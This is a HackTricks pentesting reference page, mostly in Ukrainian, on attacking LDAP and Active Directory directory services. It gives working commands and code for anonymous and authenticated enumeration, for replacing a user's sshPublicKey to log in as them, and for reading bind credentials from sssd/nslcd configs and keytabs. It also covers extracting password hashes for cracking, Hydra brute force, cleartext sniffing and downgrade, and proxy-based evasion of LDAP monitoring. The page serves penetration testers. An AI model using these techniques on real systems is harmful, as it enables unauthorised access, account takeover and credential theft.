389, 636, 3268, 3269 - Pentesting LDAP
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Використання LDAP (Lightweight Directory Access Protocol) головним чином призначене для пошуку різних об’єктів, таких як організації, люди та ресурси (наприклад файли й пристрої) у мережах, як публічних, так і приватних. Воно забезпечує спрощений підхід порівняно з його попередником, DAP, завдяки меншому обсягу коду.
LDAP-каталоги організовано таким чином, щоб їх можна було розподіляти між кількома серверами, причому кожен сервер містить репліковану і синхронізовану версію каталогу, яка називається Directory System Agent (DSA). Відповідальність за обробку запитів повністю лежить на LDAP-сервері, який за потреби може спілкуватися з іншими DSA для надання єдиної відповіді запитувачу.
Організація LDAP-каталогу нагадує ієрархічне дерево, що починається з кореневого каталогу вгорі. Воно розгалужується до країн, які далі діляться на організації, потім на організаційні підрозділи, що представляють різні відділи чи департаменти, і врешті доходить до рівня окремих об’єктів, включно з людьми та спільними ресурсами, такими як файли та принтери.
Порт за замовчуванням: 389 і 636(ldaps). Global Catalog (LDAP in ActiveDirectory) доступний за замовчуванням на портах 3268, а 3269 для LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) визначає вміст каталогу як набір записів. Він також може представляти запити на оновлення (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Рядки 1–3 визначають домен верхнього рівня local
- Рядки 5–8 визначають домен першого рівня moneycorp (moneycorp.local)
- Рядки 10–16 визначають 2 організаційні одиниці: dev і sales
- Рядки 18–26 створюють об’єкт домену та присвоюють атрибутам значення
Запис даних
Зверніть увагу, що якщо ви зможете змінювати значення, то зможете виконувати досить цікаві дії. Наприклад, уявіть, що ви можете змінити інформацію “sshPublicKey” свого користувача або будь‑якого іншого. Існує велика ймовірність, що якщо цей атрибут існує, то ssh читає публічні ключі з LDAP. Якщо ви зможете змінити публічний ключ користувача, ви зможете увійти як цей користувач навіть якщо аутентифікація паролем в ssh не ввімкнена.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Клієнтські LDAP-артефакти на Linux
На хостах Linux, інтегрованих з LDAP/AD, цінні секрети часто зберігаються в клієнтській конфігурації, а не лише на самому LDAP-сервері.
Поширені файли:
ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
sed -n '1,120p' /etc/nslcd.conf 2>/dev/null
Важливі ключі:
ldap_uriandldap_search_base: де і що запитуватиldap_default_bind_dnandldap_default_authtok: повторно використовувані облікові дані для bindid_provider/auth_provider: вказують, чи SSSD використовує LDAP, Kerberos або обидва
Корисні подальші кроки:
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"
What to look for:
- файли
sssd.conf/nslcd.conf, доступні для читання усіма - облікові дані bind у відкритому тексті
- інтеграції SSH або sudo, які покладаються на директорію і перетворюють читабельну конфігурацію на реальний вплив на авторизацію
Sniff clear text credentials
Якщо LDAP використовується без SSL, ви можете підслухати облікові дані у відкритому тексті в мережі.
Також ви можете провести атаку MITM у мережі між LDAP-сервером та клієнтом. Тут ви можете здійснити Downgrade Attack, щоб клієнт використовував облікові дані у відкритому тексті для входу.
If SSL is used ви можете спробувати виконати MITM, як зазначено вище, але підсунувши фальшивий сертифікат; якщо користувач його прийме, ви зможете виконати Downgrade методу аутентифікації і знову побачити облікові дані.
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds дозволяють неаутентифікованим атакувальникам отримувати інформацію з домену, наприклад повний перелік користувачів, груп, комп’ютерів, атрибутів облікових записів користувачів та політику паролів домену. Це застаріла конфігурація, і починаючи з Windows Server 2003 лише автентифіковані користувачі мають право ініціювати LDAP-запити.
Однак адміністратори могли налаштувати певний додаток так, щоб дозволяти anonymous binds і надати більше доступу, ніж було передбачено, тим самим надавши неаутентифікованим користувачам доступ до всіх об’єктів в AD.
Anonymous LDAP enumeration with NetExec (null bind)
Якщо дозволено null/anonymous bind, ви можете витягти користувачів, групи й атрибути без облікових даних безпосередньо через LDAP-модуль NetExec. Корисні фільтри:
- (objectClass=*) — щоб інвентаризувати об’єкти під base DN
- (sAMAccountName=*) — щоб зібрати user principals
Приклади:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
На що звернути увагу:
- sAMAccountName, userPrincipalName
- memberOf і розміщення в OU — щоб звузити область для targeted sprays
- pwdLastSet (часові закономірності), userAccountControl прапори (disabled, smartcard required тощо)
Note: If anonymous bind is not permitted, you’ll typically see an Operations error indicating a bind is required.
Дійсні облікові дані
Якщо у вас є дійсні облікові дані для входу на LDAP server, ви можете вивантажити всю інформацію про адміністратора домену, використовуючи:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Перерахування
Автоматизовано
З його допомогою ви зможете побачити публічну інформацію (наприклад, ім’я домену):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Переглянути перерахування LDAP за допомогою python
Ви можете спробувати перерахувати LDAP з або без облікових даних за допомогою python: pip3 install ldap3
Спочатку спробуйте підключитися без облікових даних:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Якщо відповідь — True, як у попередньому прикладі, ви можете отримати деякі цікаві дані з LDAP-сервера (наприклад, контекст найменувань або ім’я домену):
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Отримавши контекст імен, ви можете виконати ще цікавіші запити. Цей простий запит повинен показати вам усі об’єкти в каталозі:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Або dump весь ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch — це Python-скрипт, корисний для перерахування користувачів, груп і комп’ютерів домену Windows за допомогою LDAP-запитів.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Перевірте null credentials або чи ваші credentials дійсні:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Якщо ви бачите повідомлення “bind must be completed”, це означає, що облікові дані неправильні.
Ви можете витягти усе з домену за допомогою:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Витягти користувачів:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Витягнути комп’ютери:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Витягніть мою інформацію:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Отримати Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Отримати Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Витягнути Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Витягнути Адміністраторів:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Витягти Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Щоб перевірити, чи маєте доступ до будь-якого пароля, ви можете використовувати grep після виконання одного з запитів:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Зверніть увагу, що паролі, які ви можете знайти тут, можуть не бути справжніми…
pbis
Ви можете завантажити pbis звідси: https://github.com/BeyondTrust/pbis-open/ і зазвичай він встановлюється в /opt/pbis.\
Pbis дозволяє легко отримати базову інформацію:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Графічний інтерфейс
Apache Directory
Download Apache Directory from here. Ви можете знайти приклад використання цього інструменту тут.
jxplorer
Графічний інтерфейс з LDAP сервером можна завантажити тут: http://www.jxplorer.org/downloads/users.html
За замовчуванням встановлено в: /opt/jxplorer
.png)
Godap
Godap — інтерактивний термінальний інтерфейс для LDAP, який можна використовувати для взаємодії з об’єктами й атрибутами в AD та інших LDAP серверах. Доступний для Windows, Linux і MacOS і підтримує simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, а також низку інших спеціалізованих функцій, таких як пошук/створення/зміна/видалення об’єктів, додавання/видалення користувачів із груп, зміна паролів, редагування дозволів об’єктів (DACLs), модифікація Active-Directory Integrated DNS (ADIDNS), експорт у JSON файли тощо.

Ви можете отримати доступ за адресою https://github.com/Macmod/godap. Для прикладів використання та інструкцій читайте Wiki.
Ldapx
Ldapx — гнучкий LDAP-проксі, який можна використовувати для інспекції та трансформації LDAP-трафіку від інших інструментів. Може бути використаний для обфускації LDAP-трафіку з метою спроби обійти identity protection & LDAP monitoring tools і реалізує більшість методів, представлених у доповіді MaLDAPtive.

Можна отримати з https://github.com/Macmod/ldapx.
Аутентифікація через kerberos
Використовуючи ldapsearch ви можете authenticate через kerberos instead замість через NTLM, використовуючи параметр -Y GSSAPI
POST
Якщо ви маєте доступ до файлів, де містяться бази даних (може бути в /var/lib/ldap). Ви можете витягти hashes, використовуючи:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Ви можете передати john хеш пароля (від ‘{SSHA}’ до ‘structural’ без додавання ‘structural’).
Файли конфігурації
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Автоматичні команди HackTricks
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
Посилання
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


